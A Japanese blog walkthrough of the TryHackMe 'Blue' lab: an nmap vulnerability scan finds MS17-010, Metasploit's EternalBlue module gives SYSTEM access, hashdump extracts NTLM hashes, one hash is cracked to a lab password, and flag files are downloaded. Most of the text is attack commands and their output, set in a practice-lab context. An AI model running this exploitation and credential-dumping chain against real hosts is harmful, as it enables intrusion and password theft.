1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Blue Writeup

Posted at

はじめに

TryHackMe の初学者向け Windows Box 「Blue」 の攻略メモです。

環境

項目 バージョン/値
攻撃端末 TryHackMe AttackBox
nmap 7.80
Metasploit Framework 6.4.55-dev

IP アドレス表記について

  • Targetのアドレス: <TARGET_IP>

ポートスキャン

nmapで全体像を把握

脆弱性スクリプトを同時に走らせるため -sV -A --script vuln を指定。

nmap -A -sV -v --script vuln <TARGET_IP> -oN blue_nmap.txt

nmapの結果からms17-010の脆弱性があると分かる。

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Exploitation

Metasploit を使い、EternalBlue モジュールを実行する。

> msfconsole
msf6 > search ms17_010
msf6 > use exploit/windows/smb/ms17_010_eternalblue

show options で設定項目を確認したら、以下をセットし実行する。

msf6 > set RHOSTS <TARGET_IP>
msf6 > run

Post-Exploitation

権限確認

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM   ← SYSTEM 権限

ハッシュダンプ

meterpreter > hashdump
Administrator:500:...:...
Jon:1000:...:ffb43f0de35be4d9917ac0cc8ad57f8d:::

ハッシュ解析

Jonのハッシュ値 ffb43f0de35be4d9917ac0cc8ad57f8dhashes.com にかけると、Jon のパスワードが alqfna22 と判明。

フラグの取得

Meterpreter からファイルを検索しダウンロード。

meterpreter > search -f *flag*
meterpreter > download "C:\\flag1.txt"

免責事項

本記事で紹介した手法を無許可環境で使用することは法律に抵触する可能性があります。必ず自己所有または明確に許可された範囲でのみ実施してください。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?